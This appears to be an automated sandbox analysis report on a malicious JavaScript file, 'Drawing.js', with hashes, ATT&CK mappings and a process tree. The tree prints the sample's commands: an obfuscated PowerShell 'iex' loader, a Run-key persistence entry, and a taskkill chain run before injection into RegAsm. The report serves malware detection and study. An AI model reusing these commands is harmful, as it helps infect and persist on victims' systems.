6a3420bd4387b11a0ce02ff0cba6a13d5c5548f83af59281e0add18a0f517038

Analysis

max time kernel
148s
max time network
49s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/10/2026, 14:09

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General

Target
Drawing.js
Size 57KB
Sample261020-rf8hpsex2p
SHA256 6a3420bd4387b11a0ce02ff0cba6a13d5c5548f83af59281e0add18a0f517038
MD5 4e8636250413ba5f9a40d6d23c3e197c
SHA1 f0f6ef6e28c5d0c68bbfdd39d0418ebf36e45244
SHA512 abf1fc285698abcef8baa925d780766dcd918d2e3a063309cc84cf875bd2c863d854a314c567bcd56c8ead30fd16d7a54050eebd24ac3856faacc1a5a9956c47
SSDEEP 768:SJjegDmkTjfMHWkE1SgLIn09vcjcYBrFL24g28DRr4uTsMIur7:SJjegDmkTjoAdaxL7d8DB7
TLSH
T12643B7427237C37D8180558BC21ADD0E9BA88503455A9CB9BFAE29DEEB7DF00716E770
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1652	3820	cmd.exe	90

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	5944	powershell.exe
2	5944	powershell.exe
3	5944	powershell.exe
4	5944	powershell.exe
5	5944	powershell.exe
7	5944	powershell.exe
8	5944	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5572	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\bmbobAcgeo = "\"C:\\ProgramData\\cFbdkig.js\""	powershell.exe

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral2/memory/5944-18-0x000001E277A00000-0x000001E277A1E000-memory.dmp	SmartAssembly

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5944 set thread context of 3464	5944	powershell.exe	102

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4480	cmd.exe
1652	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
3052	taskkill.exe
3456	taskkill.exe
3920	taskkill.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
5944	powershell.exe
5944	powershell.exe
5944	powershell.exe
5572	powershell.exe
5572	powershell.exe
3464	RegAsm.exe
3464	RegAsm.exe
3464	RegAsm.exe
3464	RegAsm.exe
3464	RegAsm.exe
3464	RegAsm.exe
3464	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeDebugPrivilege	5572	powershell.exe
Token: SeDebugPrivilege	3052	taskkill.exe
Token: SeDebugPrivilege	3456	taskkill.exe
Token: SeDebugPrivilege	3920	taskkill.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 5944	1652	cmd.exe	93
PID 5944 wrote to memory of 5572	5944	powershell.exe	95
PID 5572 wrote to memory of 4480	5572	powershell.exe	97
PID 4480 wrote to memory of 3052	4480	cmd.exe	99
PID 4480 wrote to memory of 3456	4480	cmd.exe	100
PID 4480 wrote to memory of 3920	4480	cmd.exe	101
PID 5944 wrote to memory of 3464	5944	powershell.exe	102
PID 5944 wrote to memory of 3464	5944	powershell.exe	102
PID 5944 wrote to memory of 3464	5944	powershell.exe	102

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Drawing.js
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:4700

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe ^&([char[]](105,101,120)-join'') $env:kSIfbAhkz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\Drawing.js -Destination 'C:\ProgramData\cFbdkig.js' -Force
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe &([char[]](105,101,120)-join'') $env:kSIfbAhkz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\Drawing.js -Destination 'C:\ProgramData\cFbdkig.js' -Force
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5572
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4480
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3456
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3920
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c29ca252edb73aed2196ff9e3627973222b669012b9ae1c2d265f3c8cce5c151
MD5 345c9aed873248c5ad67820b1d201171
SHA1 4e5c003dbaa71a364fac9138442d052938811e7b
SHA512 c166f691ec5020c1d232219ccb9821842b74736ddd448d9f30ed3f24f2a8e9e4ac4effff4fae354a83db9e91830aecee8d8e49d9d6569ae05c0e64f83be37460
TLSH
T189217833F3CC8211D889403A50CDEC0432B687DB809ECE6BBB84D644B53F599CE602A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_modx1co1.uij.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_modx1co1.uij.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3464-24-0x0000000000040000-0x000000000008C000-memory.dmp

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memory/5944-12-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-16-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-8-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-9-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-10-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-11-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-0-0x00007FFB2556F000-0x00007FFB25570000-memory.dmp

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memory/5944-13-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-15-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-7-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-17-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-18-0x000001E277A00000-0x000001E277A1E000-memory.dmp

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memory/5944-6-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-5-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-4-0x000001E279930000-0x000001E279952000-memory.dmp

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memory/5944-1-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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memory/5944-27-0x00007FFB253E0000-0x00007FFB25D84000-memory.dmp

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